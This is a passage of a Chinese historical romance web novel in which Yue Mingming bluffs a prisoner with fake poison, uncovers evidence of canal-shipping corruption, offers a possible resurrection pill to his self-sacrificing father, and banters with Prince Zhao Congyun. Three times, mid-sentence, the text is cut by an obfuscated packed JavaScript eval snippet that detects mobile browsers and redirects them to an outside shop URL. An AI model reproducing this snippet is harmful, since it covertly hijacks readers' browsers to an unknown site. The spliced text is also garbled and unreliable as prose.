岳明明一呆,如此珍贵的东西……他就白白给自己吃了?事后竟提都不愿提,这人心里到底怎么想的?! 领了赵琮昀这么大一份恩情,她忽然有点不自在,闷头道了声谢。 赵琮昀觉察出她态度怪异,横她一眼,没有说话。 两人之间有一刻尴尬的沉默。 岳明明努力思考,如何把这份人情还回去。 “之前在密室里,我说的那些话……” 她当时为救人,使出缓兵之计,一番话说得真真假假,现在岳明明忽然认真起来。 漕运是赵琮昀最大的心病,如果她真能帮上忙,既做了善事,也算还了他的恩情。 “以后再说。”赵琮昀截口道,语气不容置疑:“我的事不需要你来操心,其他人……你最好也少管闲事!” “我不是那个意思……我真的可以帮忙。”岳明明急道:“还有那个孙承,他是不是也跟漕运有关……要不然怎么会那么生气?” 听到那个名字,赵琮昀眸子冷下去。 “哎,你不会把他杀了吧?事情还没问清楚呢!” 赵琮昀眉毛微挑:“他差点害死你,你居然不恨他?” 岳明明轻笑了一下:“还不是我父亲造的孽……他做狗官,我做你们的出气筒。你不是也因为我父亲的缘故,一直讨厌我嘛!” 她大气地拍了拍赵琮昀肩膀:“没关系,我原谅你们!” 赵琮昀紧抿嘴唇,从牙缝中挤出一句话:“再把我跟他相提并论,小心你的狗命!” 15. 第 15 章 对岳明明来说,赵琮昀的警告,有效期只有两个时辰。 赵琮昀前脚去上朝,岳明明后脚就找来一名暗卫,威逼利诱他带自己见孙承一面。 重返密室,岳明明才发现里面别有洞天。 除了那间方厅,再往里走,还藏着休息室、刑讯室、小书房,以及两间相隔甚远的地牢。 浑身是血的孙承,就关在其中一间。 岳明明看到奄奄一息的黑脸青年,眉头皱起:“你们对他用刑了?” 暗卫低声解释道:“那日王爷动怒,确实打了他几板子,不过他这样子,是自杀未遂的结果。” 岳明明心说,宁死不屈,倒也算条好汉。 她蹲下身去,与孙承保持平视,唤道:“孙承,你醒醒?我来找你算账了!” 孙承缓缓抬起结满血痂的眼皮,涣散的目光一点点凝聚,最后落在岳明明脸上。 他沙哑着嗓子:“你没死啊……可惜了。” 岳明明见他这副样子,心有不忍:“我想问问你为什么要杀我?我父亲做过什么对不起你的事吗?如果可以,我想尽力补偿你!” “呸!”孙承冷笑:“……你们都是吃人不吐骨头的狼,假装慈悲,其实没一个好东西!” “别假惺惺了,落到你们手里,给我个痛快吧。” 岳明明看他神情,估计说再多也是白费口舌,此人像头倔驴,你跟他讲道理,他跟你撩蹶子。 她眼珠一转,沉下脸道:“既然你不识好歹,自寻死路,我就成全你。”说罢叫过暗卫,悄声嘱咐了几句,暗卫眼中闪过一抹惊讶,点头领命而去。 过了半晌,暗卫手上端了碗似汤非汤的东西回来,透过小窗,递在孙承面前。 岳明明道:“这碗毒汤,喝完会穿肠烂肺,死状极惨……怎么样,你敢不敢喝?” 孙承不屑地冷哼一声,端起碗一饮而尽。 看他喝完,岳明明忽然笑道:“孙承,我问你……如果落到敌人手里,是活下来容易,还是死掉容易?” 孙承一愣:“什么意思?” 岳明明道:“我这个人,又怕疼,又怕死,不过对比来看,与其无休止地受折磨,倒不如死来得痛快……你也是这么想的吧?所以才会一心求死。” 她故意停顿了一下,盯住孙承眼睛:“如今你和你父亲都被抓住,我们至少要留一个活口。你马上就解脱了,却把无穷无尽的痛苦留给了你父亲。” “孙承,原来你是个胆小鬼!” “放屁!我没有!” 孙承大惊失色,他性子炙烈如火,不甘成为俘虏,只想一死了之,哪曾想过这么多弯弯绕绕? 岳明明冷漠道:“不管真没有还是假没有,都已经晚了……你很快就要毒发,等你做了鬼,托梦给你父亲解释吧。” 她吩咐暗卫:“那个老头怎么样了?务必要看管好,再重的刑,也得给他留半条命。” 孙承闻言目眦欲裂:“你敢动我父亲,我做鬼也不会放过你!” 岳明明嗤笑:“你就只有这点能耐了!” 她转身欲走,孙承连滚带爬撞上牢门,急喝道:“……等等!” “你放过我父亲!你想知道什么,我都告诉你!” 岳明明无声吐了口气。 这个愣头青,总算被唬弄了。 她重新回到孙承面前,板起面孔道:“距离毒药发作,还有半个时辰,你只有这些时间……要是敢隐瞒或者骗我,我保证,你父亲会''活得''很惨。” 孙承气得浑身颤抖,却一点办法也没有,低吼道:“你问吧!” 岳明明:“我父亲对你做了什么,让你这么恨他?” 孙承冷笑:“我不认得你父亲,他在京城,我在江州,离着十万八千里,我们没有私人恩怨。” 岳明明奇怪道:“那你发什么疯,还把火撒到我身上?” “你一定听说了,江州水患期间,朝廷派去多艘运送银粮的船,都被江州‘水匪’劫沉了?”孙承咬牙切齿道:“我和我父亲,正是你们口中犯下滔天罪行的水匪! “可我们什么都没做过!身为江州子民,我们怎么可能在这个时候,去劫百姓救命的船!你父亲他们那帮人,一盆脏水泼下来,不仅搞得我们被朝廷大肆通缉,如今我们连江州都无法立足!” “所以……你们来京城找他报仇?” “不是报仇……虽然我很想报仇,可我父亲不同意。” 孙承嗓音低下来,带着一股冷冷的嘲讽之意:“说出来大概没人信……我父亲带我在江州潜伏数日,搜集到一些假水匪证据,他打算把这些证据上交朝廷,自证清白。” 岳明明愣了一下,心头微微触动。 “可是……他们大概会认为这些证据是你们伪造的。” 孙承呵呵一笑:“不错,所以除了物证,我们还有人证。” 他示威似的看向岳明明:“我父亲打算向朝廷自首,再为自己作证……明知自首后是死罪,可他说了,水匪他可以认,但劫漕运船这事,他绝不能认!” “……”岳明明说不出话来。 “果然,你也不信!”孙承哈哈大笑:“做了一辈子水匪,老了老了,突然要逞一回英雄……更可笑的是,我们抱着必死之心来了京城,却连逞英雄的机会都没有,就要不明不白死在这阴牢里!” 青年带着怒意和不甘的笑声回荡在暗牢里,所有人都沉默了。 孙承顿了顿:“你还有什么想问的?” “证据在哪里?”岳明明尽量不让自己的声音颤抖。 孙承斜眼看了她许久,最后黯然道:“被我们密封好,藏在了玉湖水底。” 岳明明俯过身,郑重道:“这件事,接下来交给我们。” 孙承吃惊:“……” 岳明明对他讲述了自己被父亲几番暗杀的遭遇。 “不管你信不信,我是站在你这边的。”她狡黠一笑:“还有……你刚刚喝的那碗,根本不是什么毒药,只是东叔做的醒酒汤。味道是怪了点,但保证无毒无害!” 孙承:………… “你……骗子!”他愣愣道,语气却已不似之前凶狠。 “不光是骗子,还是疯子!”暗室外忽然传出一道冷冷的声音:“我是怎么警 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13887669|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告你的?看来需要让你知道,多管闲事的下场!” 赵琮昀身着朝服,大步走了进来。 岳明明有种被当场抓包的心虚:“……你怎么这么快就回来了?” 东叔解释道:“王爷上朝途中,得知你偷跑来密室,临时告了假,就匆忙赶回来了!” 岳明明不敢直视赵琮昀怒气冲冲的眼睛,笑嘻嘻打岔道:“你来得正好,孙承的事我帮你问清楚了……我这就算将功赎罪了,好不好?” 赵琮昀:“不好。” “……” 岳明明对他没气硬生的态度十分不满:“你刚刚在门口有没有听到他说的话?现在人证物证,再加上那份漕运记录,说不定就能将我父亲绳之以法,你怎么不开心呢?” 赵琮昀冷着脸沉默。 他眸光深邃,里面尽是岳明明看不懂的意味。 岳明明想起灵犀丹一事,心骤然软下来,此人虽然脾气变化莫测,好歹是她的救命恩人。 她认输道:“我错了!等我身体好了,给你扫三个月的院子!” 赵琮昀脸色稍缓,吩咐东叔:“让他把藏匿证据的位置画出来,派人速速取回……再找个大夫,替他和他父亲看伤。” “是!”东叔垂首。 “你还愣着干什么?现在就回去躺着!”这句话却是对岳明明说的。 岳明明狠狠点头:“你放心,这次天塌了我也不下床!” 她不敢耽搁,决定趁赵琮昀没憋出大招之前,火速撤离现场。 可惜她忘了自己有伤,又经过审问折腾,此刻稍一动弹,胸口锐痛袭来,冷汗顿时涔涔而下。 岳明明呲牙咧嘴,一步也挪不动了。 赵琮昀见状不对,立刻上前扶她:“怎么回事?” 岳明明艰难朝他摆摆手:“没关系……可能是抻到了。” 她转头对密室中一名暗卫招呼:“大哥,能不能再辛苦你背我一下?像来的时候那样,把我送回去!” 赵琮昀:………… 倒霉的暗卫:………… 赵琮昀:“你背她过来的?” 暗卫瑟缩了一下,无助地点点头,深觉自己的职业生涯完了。 东叔对他使个眼色:“巡防营那边还缺个人盯着,你去顶一顶。” 暗卫如蒙大赦,迅速从赵琮昀眼前消失,东叔自己也知趣地退下。偌大密室,只剩下大眼瞪小眼的三人。 岳明明没办法,只能咬紧牙关,试着往前挪了挪:“王爷放心,今天就算爬,我也会爬回床上去!” 赵琮昀好像更生气了。 他看着少女脸色苍白,蜗牛似的往前蹭,终于忍不了,横跨一步拦在她面前,沉默地俯下身来。 岳明明:“……” 这不会是她心里想的那个意思吧? “不……不用了!”岳明明慌忙拒绝道。 赵琮昀冷飕飕扔过来一句话:“你不想让我背,是希望我抱你回去?” 脑中倏地浮现出昏迷之前,被他抱在怀中的感觉,以及……味道,岳明明从耳朵尖红到脖子根,乖乖爬上了赵琮昀的背。 16. 第 16 章 赵琮昀肩背宽阔,又走得极稳,岳明明渐渐放松下来,心里生出一份从未有过的踏实感。 这人……倒也不是一无是处。作为人肉交通工具,还是蛮合格的! 岳明明心里想着,轻笑了一下。 身下赵琮昀脚步一顿:“你笑什么?” “没有!你听错了!”岳明明辩解,赵琮昀并未深究,继续沉默着走了一会儿,忽然问道:“你怎么不说话?” “啊?”岳明明摸不准他的意思,Boss这是暗示她自我检讨,还是求个陪聊服务? “没什么。”赵琮昀淡淡道。 …… 岳明明还在人家背上,不得不低头,只好硬着头皮没话找话。 苦思冥想后,总算想起一件可聊的闲事:“王爷,你喜欢的那首《长亭别赋》是什么曲子?能不能哼来听听?” 赵琮昀却倏地停下脚步,稍微偏回头:“你怎知我喜欢那首曲子?” 岳明明答不出来。 她心头一慌,索性倒打一耙:“你看你,又多想了吧……还怪我不说话,我每次但凡说点什么,你总有一大堆疑问等着我!这样谁还愿意跟你说话?” “……”赵琮昀沉默,周身气场迅速冷下去。 岳明明感觉他脊背明显僵硬起来,整个人又恢复成了充满戒备的人形冰块。 冷冰冰,硬邦邦。说不出的难受。 岳明明自觉说错了话,脱口道歉:“对不起……我不是那个意思。” “呵,”赵琮昀冷冷一笑:“不必说了,你是什么意思,已经表达得很清楚了。” 岳明明愣了愣,这条冰块还挺难哄的! “在我的……家乡,也有一首名字类似的曲子,很好听的。你小气不肯唱,我倒是可以勉为其难,唱给你听听。” 岳明明趴在他背上,努力陪笑脸。 赵琮昀不理她。 岳明明见他没反应,讪然一笑,自顾自轻唱起来:“长亭外,古道边,芳草碧连天……” 少女的歌声自然比不上邀月楼歌姬,却独有一番不加矫饰的天真悠扬,丝丝缕缕钻入赵琮昀耳朵,沁得他三魂六魄怔怔发麻。 而那略显伤感的歌词,像一道密不透风的咒语,在他心头越缠越紧,平白惹出怅然若失的愁绪,怎么堵都堵不住。 浊酒尽余欢,今宵别梦寒。 岳明明感觉身下绷紧的肩背渐渐柔软下来,心里微微松了口气,同时纳闷道:自己房间离密室有这么远吗?怎么还没到? 她四下一看,顿时反应过来:“哎,你这个人……怎么还绕路呢?!” 人形黑车司机,她还是头一回遇见! 赵琮昀十分敷衍地解释道:“哦……记错路了。” “这是你家……你撒谎能不能有点诚意?”岳明明气道。 “怎么不唱了?继续。”赵琮昀毫不脸红地要求道。 “无耻!不唱了!” “唱!” “不唱!” “唱!” ……岳明明无法相信,赵琮昀居然这么幼稚地跟她纠缠了一路。 临走时他心情相当不错,岳明明甚至有种错觉,仿佛看到他身后狐狸尾巴高高翘起,活像一只被人夸奖后的狗。 * 接下来几日,岳明明在园中规规矩矩养伤,再没见赵琮昀影子。 苏定柔仍在澄怀斋禁足,听说那日被人带回府后,她对赵琮昀冷语相向,十分不客气。 图穷匕见……既然事情被撞破,苏定柔连装都懒得装了。 岳明明不禁担心起这位王妃姐姐的处境。 赵琮昀现在疲于漕运之事,待此事了结,肯定要秋后算账的。 岳明明暗下决心,得赶紧想个办法,帮他们和离,否则这两个固执骄傲的人硬刚,再加上一个动不动为爱发癫的沈宗吾,搞不好要闹出人命来。 结果头都憋大了,不见任何头绪,岳明明干脆拿出赵琮昀写给她的那封休书,认真考虑起伪造一份的可能。 她埋首于那一页薄纸的落款处,过于聚精会神,有人走近也没察觉。 “咳咳……”杏儿忍不住出声提醒。 岳明明茫然抬头,正撞上赵琮昀一双漆黑的眸子,她吓得赶紧把休书藏进袖子里。 出人意料的是,赵琮昀并未戳破她。 他瞥了眼她袖口,若无其事地止住脚步,什么都没有说。 “你……你怎么来了?”岳明明惊魂未定,磕磕巴巴道。 “孙承父子要见你。” “为什么?”岳明明怔住,瞧了瞧窗外漆黑的夜色:“现在吗?” 赵琮昀:“他们想向你道谢。明日一早,孙承就要离开京城,他的父亲会带着漕运相关证据,前往刑部自首。” 岳明明心中一惊:“那岂不是……” 生离死别。 赵琮昀垂下眼眸,默然不语。 岳明明不再犹豫,起身道:“咱们走吧。” 赵琮昀却没有动,站在原地静静看她,似乎在用眼神询问着什么。 岳明明心头一暖,拍拍胸口:“我没事啦,可不敢劳烦王爷再背我了。” “走吧。”赵琮昀淡淡道。 * 再见到孙承,岳明明悬着的心终于放下。 赵琮昀没有食言,找人医好了他的伤,跟上次血葫芦似的模样相比,孙承虽见消瘦,却再无狼狈之色。 他坐在暗厅一角,不再是囚犯待遇,可青年黝黑冷峻的脸上,依然充满了死气沉沉的绝望。 他旁边端坐着一位老者,清瘦淳朴,乍一看跟田间地头的农民并无二致,更与岳明明想象中的水匪头子天差地别。 可若细看,老人举手投足间,又有种将生死置之度外的镇定气度,令人莫名钦佩。 这便是孙承的父亲,孙大勇。 两人见到岳明明,立即起身,孙大勇抱拳道:“听闻我这不孝子,那日是非不分,重伤了你,老朽这里向你赔罪了!” 说罢深鞠一躬,孙承脸色郁郁,却也随着父亲躬下身。 岳明明连忙阻拦道:“没关系!你看我这不是都好了嘛!何况你们也是为漕运和百姓的事出力……大家目标一致,既然是同伙,就不要在意那么多啦!” 同伙……赵琮昀闻听此言,眉头微皱,唇角却弯出一点笑意。 孙大勇哈哈笑道:“丫头虽是深宅贵女,却有江湖侠气!有句话叫‘不打不相识’,你这小朋友我交了!” 他也不顾赵琮昀在场,从脖颈摘下一枚白玉印信:“丫头收下!日后但凡有用得着江州漕帮的地方,持此印信,但凭差遣!” “这是贵帮信物,交给她不合适吧。”赵琮昀忽然插口道。 孙大勇目光炯炯看他一眼,转头继续对岳明明道:“你对我们父子有救命之恩,这点报答不算什么……你父亲的事,孙承跟我讲了,想来你也没什么娘家人,老朽没闺女,只有一个不争气的小子,如果你不嫌弃我们江湖人粗鲁,上不得台面,尽可以把我们当成你的娘家人,日后若有人欺负你,自有江州漕帮为你撑腰。” 岳明明睁大眼睛,感动之余,又生出担心——显然孙大勇这番话不只是对她说的,也是对赵琮昀说的。 她悄悄瞄了赵琮昀一眼,但见他面容平静,看不出喜怒。 “看他干嘛!拿着!”孙大勇道。 岳明明不再犹豫,欣然接过,立刻套在脖子上:“谢谢伯伯!” 顿了顿,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019594|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又忍不住好奇问道:“你们漕帮……很厉害吗?人多吗?” 赵琮昀:………… 孙承:………… 孙大勇笑道:“江州三江十二湖,只要有水的地方,就有我们漕帮……不过,”他回头瞥了一眼自己儿子:“日后厉不厉害,那就要看他的了!” 孙承眼眶登时红了,闷声道:“爹!” 孙大勇道:“我倒不求你有多大出息,只要你上对得起江州百姓,下对得起帮内弟兄!其他的……你自己做主便是。” “你要记住,咱们虽然生来为匪,一颗心却不能长歪……你若将来抵不住诱惑,做些腌臜龌龊之事,我做鬼都要来找你算账!” 孙承狠狠抹了把脸:“知道了!” 岳明明收到印信的喜悦,立刻被孙大勇这番“交待”冲得无影无踪。 她求助似的望向赵琮昀:“就没有其他办法吗?那么多物证,还有你抓到的刺客……为什么一定要自首呢?” 赵琮昀罕见地迟疑了一下。 孙大勇替他答道:“不错,物证和刺客就像两股线头,抽丝剥茧下去,总有一天能查出真相……只可惜太慢了! “漕运的事,不光贪腐这么简单,还涉及数十万江州灾民的命!拖延一天,就会有更多人饿死,我们等得起,他们等不起了!” 他傲然道:“这几日王爷替我想过很多办法,可世上哪有那么多两全的事……瞻前顾后,拖拖拉拉,非大丈夫所为!老朽一条贱命,本就是江州水土生养出来的,现在还回去,无愧家乡父老,是死得其所的好事!” 这番话掷地有声,惹得密室中一阵沉默。 岳明明眼眶发热,热血上头,却又深感无能为力,孙承更是垂着头,肩膀一耸一耸,连哭泣都是无声的。 赵琮昀缓缓接口道:“此事我不方便出面,不过请放心,刑部和御察院均已打点好,他们不会动刑或苛待您,至少能保证……您体面地‘走’。” 沉默了一下,他又补充道:“如果您希望安葬故土,我也会着人安排。” 孙大勇摇头:“何必麻烦!到时候草席裹尸,往乱葬岗一丢,孤魂野鬼里,老朽再争个帮主当当,岂不快活!” 岳明明大感震撼,却见向来高高在上的赵琮昀,肃然理了理衣袍,深施一礼道:“老人家心怀大义,晚辈既钦佩又惭愧。过多言语无须再说,我以性命向您保证,一定办好漕运之事,解江州灾民困境!” 孙大勇点头,眼中带了赞许之色:“世人都说嘉王不学无术,是京中一等一的纨绔子弟,却不想你是这般为人……我相信你。” 他对孙承道:“你小子明日立刻回江州,有需要的时候,助王爷一臂之力,知道吗?” 孙承扭头不答。 岳明明以为他还在生赵琮昀的气,却听孙大勇怒骂:“小兔崽子,你是不是还惦记那药呢?我告诉你,顾好活着的人,死人的事轮不到你管!” 孙承倔强道:“但凡还有一点希望,我都要去试试!你别想拦我!” 岳明明一脸茫然:“你们在说啥?老伯的事还有办法吗?” 赵琮昀解释道:“传闻前朝药圣除了灵犀丹,还制出过一种‘还阳丹’,人吃下去之后,三日内气息全无,三日后却能回魂复活。” 岳明明立刻明白了:“让老伯自首后服下这丹药,假死骗过刑部,就能免于砍头了!” “不错。可惜灵犀丹千金尚可求,还阳丹不只价值连城,更从未在市面上出现过,只记载于一些秘籍中,是否真的存在都不知道。茫茫天地,去何处找?” 岳明明心头猛地一跳。 ……是她想得那样吗? 她微微颤抖着开口:“你们知不知道,那还阳丹长什么样?” 17. 第 17 章 赵琮昀道:“典籍中提过,‘还阳丹色同朱砂,香气袭人,闻之令人心旷神怡’,其余细节便无从知晓了。” 他见岳明明神色有异:“怎么了?” 岳明明深吸一口气,从怀中掏出隐藏货商卖给她的那只瓷瓶:“额……你们看看,会不会是这东西……” 所有人都愣住。 赵琮昀深深看她一眼,将瓷瓶接过,带有异香的红褐色药丸倒落手心,他神色变了几变,最后默默将药丸递给东叔。 东叔郑重接过,拿在鼻端闻了片刻,又轻轻刮下一层浮粉,放入口中品尝。 “像……但实在无法确定。” 他眉头皱起:“敢问娘子,此物从何得来?” 岳明明不好说谎,只好坦白道:“前几天,用皇上赏的那些金子买的!” “就是……你们诬赖我私通那天……” 赵琮昀目光幽深,努力隐藏锋芒,却掩不住语气里的怀疑:“你匆忙回府,就是为了取钱买这个?” “花出去那么多钱,你居然不知道这药是做什么用的?” 岳明明挠头。 要怎么跟赵琮昀解释,抽盲盒的乐趣和疯狂呢…… 赵琮昀见她不说话,沉默半晌道:“好,你不愿意说,我不勉强……你描述清楚那货商长什么样子,我现在差人去找。” “……你们找不到的!” 岳明明着急,决定换个人沟通:“孙伯伯,我不知道这药是不是还阳丹,大概有百分之五六十的可能……你愿不愿意赌一把?” 孙大勇果然没让她失望。 老人哈哈大笑:“最差不过一死,吃了它又有何妨?这把我赌了!” 他话锋一转:“不过丫头,万一这真是还阳丹,那可是价值连城的宝贝,你舍得把它给我这糟老头子?” 岳明明没有半点犹豫,认真道:“钱财是身外之物,哪有孙伯伯你的命重要?!” 她抬头看见赵琮昀阴晴不定的脸色,扯了扯他衣袖,笑道:“何况钱都是王爷出的,我只是借花献佛,王爷可大方了,是不是?” 赵琮昀几不可闻地叹了口气:“老人家为民舍命,区区一颗还阳丹,何值一提?我只担心这药的真假……” 孙大勇道:“老朽愿赌服输!” 赵琮昀犹豫地看向孙承,孙承黝黑脸上也现出决然之意:“……咱们试一试吧!” 置之死地而后生。 相比死路一条,岳明明带来这一线生机,已经是莫大的希望。 但见岳明明拿起那粒药丸,学着孙大圣的样子轻轻吹了口气:“诸位,我宣布,这就是还阳丹了!” 众人被她逗笑,沉重气氛为之一松。 看着那张盛满笑意的素净脸庞,赵琮昀忽然就相信了这句信口胡诌的话。 因为岳明明是他见过最虔诚的骗子。 * 第二日一早,朝堂上风云突变。 刑部尚书携人证物证,针对江州赈灾船接连被劫一事,骤然发难。 恰在此时,御察院“收到”一份匿名贪腐名单,与刑部形成合力,剑锋直指漕运! 龙颜震怒,当即下令御察院彻查,一日内牵扯出大小官员二十余人,朝中人人自危。 同一天,十余艘运粮船紧急调拨发往江州,由威远大将军亲自押运,力求第一时间解江州灾民之急。 岳明明知晓这些消息,已是五日之后。 这几天赵琮昀带着东叔依旧不知所踪,留她一人在园中坐立不安。 赵琮昀这回吸取教训,给暗卫们下了死令,不准放岳明明出参园一步,别说打探消息,连见苏定柔的机会都没有。 直到这日傍晚,小厨房传来久违的烟火气,岳明明闻着味儿凑过来,正撞见刚刚回府的东叔。 东叔喜笑颜开,岳明明见他这副表情,急道:“有好消息了?快跟我说说!” 东叔简单说明情况,最后悄声道:“一刻钟前,才收到孙承发来的消息……运粮船已经平安抵达江州,灾民有救了!” 岳明明长出了一口气:“太好了!孙承也安全回去了?” 东叔点头:“王爷安排他随运粮船一起出发,路上有我们的人照拂,应该再无危险了。” “……孙伯伯那边怎么样?” “审讯尚未结束,恐怕他得在牢中待上一段时间了……待此案了结,我们再将药送进去,安排一场假死。” 岳明明也明白,此事不能心急,事情进展已经超乎寻常地顺利了,想来赵琮昀这些日子的筹谋没有白费。 “这回你家王爷高兴了吧?” 每次见赵琮昀,不是冷冰冰,就是气鼓鼓,还真想不出他高兴时是什么样子。 东叔居然认真思考了片刻,感慨道:“的确,太多年没见过他如此高兴了!” 岳明明心念一动:“他的心情,有没有好到……就算提一些无理要求,也不会生气的程度?” 东叔戳破她:“娘子又在打什么主意?” “很大胆的主意!若是平时,可能会把他气到杀人放火那种!”岳明明一本正经回答。 东叔哈哈笑道:“良机千载难逢,娘子不妨试试?” 岳明明吃惊:“我以为你会阻止我……” 东叔意味深长看她:“娘子尽管去招惹他,若有需要帮忙的地方,随时跟我说。” 岳明明悄声问:“这里有没有酒?” 东叔扬起眉毛:“……娘子有所不知,其实王爷他并不喜欢喝酒……” “不是给他喝,是我喝!”岳明明弱弱地坦白:“酒壮怂人胆……东叔你懂的……” * 岳明明提着一只红漆食盒,敲开了赵琮昀书房门。 房内香炉袅袅,燃着令人心安的松雪木香。赵琮昀一袭淡雅青衫,端坐于书案前,手执毛笔,轻蘸墨池,在宣纸上缓缓落下。 听闻脚步声,他轻撩眼皮扫一眼,下笔却极稳,笔走龙蛇间,没有半分停歇。 “……打扰你了吗?”岳明明很有礼貌地凑上来。 “无妨。” 赵琮昀在画卷上又添几缕云雾,搁笔道:“有事?” 岳明明未及说话,先被他的画吸引——那是一幅夜溪图,翠崖巍巍,溪水淙淙,云雾蒸腾,飞鸟惊起。 意境极幽美,只是…… “这画好像缺了一半?”岳明明奇怪道。 所有意象只占了半幅画面,剩下半幅,是一片无法忽视的空白。 赵琮昀淡淡道:“还没画完。” “这里要添什么呀?”岳明明指着山峰背后问道。 赵琮昀不答,瞥见她手中食盒:“你什么时候领了送饭的差事?” 岳明明面上赔笑,心里忍不住吐槽——这人哪有半点高兴样子嘛?跟平时根本没有任何差别! 她将食盒打开,四碟小菜,一碗清粥,这是赵琮昀平日晚餐。 又取出一壶酒,一盅汤,笑眯眯道:“今天有喜事,加餐!” “喜从何来?”赵琮昀轻哼道,却率先拂衣入座。 岳明明拉开凳子,大咧咧坐到他旁边:“东叔都告诉我了……这么多好消息,不值得庆祝一下?” “主谋尚未落网,现在高兴为时过早。” 赵琮昀顿了顿,又叮嘱道:“你最近谨慎些,你父亲那边……我总觉得顺利得不太寻常。” 岳明明使劲点头:“知道了!” 今晚你说得都对! 岳明明心中小算盘打得噼啪作响——她今晚唯一任务,是把他哄开心,让他签下与苏定柔的和离书,就算大功告成! 她将汤盅推到他面前,献宝道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044120|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尝尝这小吊梨汤,下午就开始熬了。我本来想自己喝,现在让给你,够意思吧!” 赵琮昀扫她一眼,直觉她今晚笑容说不出的奇怪,微微皱眉:“从没听说,谁家庆祝是喝汤的……这不是备了酒吗,怎么不喝?” 他掀开壶盖闻了闻:“桂花酿……倒是应景。可惜日子太短,这酒怕是不会好喝。” 岳明明笑道:“你不爱喝酒,这酒是给我的!咱们不用讲那些规矩,这又不是在外面,你不用装!” “……”赵琮昀怔然抬眸,对上一双神采奕奕的眼睛,他败下阵来,埋头自顾自倒了杯酒:“只是不爱跟外面的人喝酒,在这里……没关系。” 他将梨汤推回去:“你身体尚未康复,别喝酒了。” “好的好的!”岳明明答得十分狗腿。 她心想,喝酒更好,最好喝得晕头转向,对她言听计从……头脑清醒的赵琮昀,她实在没把握搞定。 两人各自沉默着吃了一会儿。 赵琮昀秉持着“食不言寝不语”习惯,岳明明却像火烧屁股的猴子,明明心急如焚,不得不苦苦忍耐,还要装出一副“我很好我没事”的样子。 她第八百次目光瞟过、欲言又止后,赵琮昀终于搁下饭碗:“有话直说。” “其实也没啥……” 岳明明还在小心措辞,赵琮昀直接道:“王妃的事?” 岳明明:“……你知道!” 赵琮昀:“现在能让你放心不下的,除了牢里的孙大勇,就只有苏定柔了。你来替她求情?” 和离算不算一种求情呢? 岳明明如实道:“……还有沈将军,你能不能''放''了他们两个?” 她把“放”字咬得很重,似乎在期待赵琮昀自己顿悟。 “我''放''了啊,”赵琮昀学着她的语气:“我寻了个事由,叫人免去沈宗吾巡防营的职务,把他打发到江州赈灾去了。” “这怎么不算''放''了呢?” ……岳明明没见过狐狸成精,此刻算是开了眼了!这人明明什么都知道,什么都算准了,还在这儿跟她装! 她强压怒火,声音不自觉拔高:“你怎么能这样?他俩当时根本什么事都没发生!那只是过去的一段感情,谁还没有点过往了?” 赵琮昀狐狸眼睛眯起:“……你和李嗣,是不是也有这样一段''过往''?” 岳明明佩服他挑刺的能力,不客气地阴阳道:“难道王爷你没有?不会吧!” “我没有。”赵琮昀将杯酒一饮而尽,淡淡回答。 鬼才信你咧! 岳明明生气,别以为她不知道,八卦系统说过,他初恋发生在十五岁,现女友是邀月楼的姜欢…… 女友老婆攒了一沓,还在这里装纯爱战士?渣男你不要太离谱! 岳明明强忍嘲讽,脸色却不大好看。 赵琮昀瞥她一眼,沉默半晌,忽然继续道:“姓沈的脑子进水,偏要跑到京城来,他们现在可以在府中明目张胆私会,将来就能捅出更大的篓子!” 岳明明张嘴要辩解,赵琮昀沉声道:“你不要插话!他们自己不顾死活,你这么惜命,也不懂吗?这府里又不是只有我们,你可以顶包一次,还想有第二次吗?” 岳明明乖乖闭紧嘴巴,咂摸着他的话,渐渐明白过来:“你是故意把他调走的?” “……不是生气报复?” “有什么区别吗?”赵琮昀道。 “当然有区别!你讲清楚原因,我们就不会误会你了!” “……我不喜欢解释。” “那现在为什么又解释了?”岳明明狡黠笑道。 赵琮昀修长手指紧紧攥住酒杯,凝眸看她。此刻他眼里像被揉进了漫天星辉,变得光芒熠熠,却又深不见底。 “为什么……你当真不知道吗?” 18. 第 18 章 岳明明虽然没怎么谈过恋爱,但她从小沉迷偶像剧,理论知识储备相当丰富。 赵琮昀眼里的意思,她不是不懂。 但她不太敢相信。 这人心思实在难猜,保不准又在筹划什么阴谋诡计,她已经上过几次当,不能他一个眼神过来,她又巴巴送上门去给他骗。 长得帅也不带这么玩人的! “我不知道啊,要不你讲讲清楚?”岳明明揣着明白当糊涂,笑嘻嘻问道。 赵琮昀眉眼间划过淡淡的怅然。 他适时垂下眼眸,沉默地饮了口酒,将那一刻的落寞藏得严严实实,再抬头,脸上已瞧不出任何情绪。 “接下来,你打算怎么处置王妃姐姐?”岳明明见他不答,便说回正题。 “她若不生事,可以继续像以前一样……不过,她既然派了你当说客,恐怕另有想法了吧。” 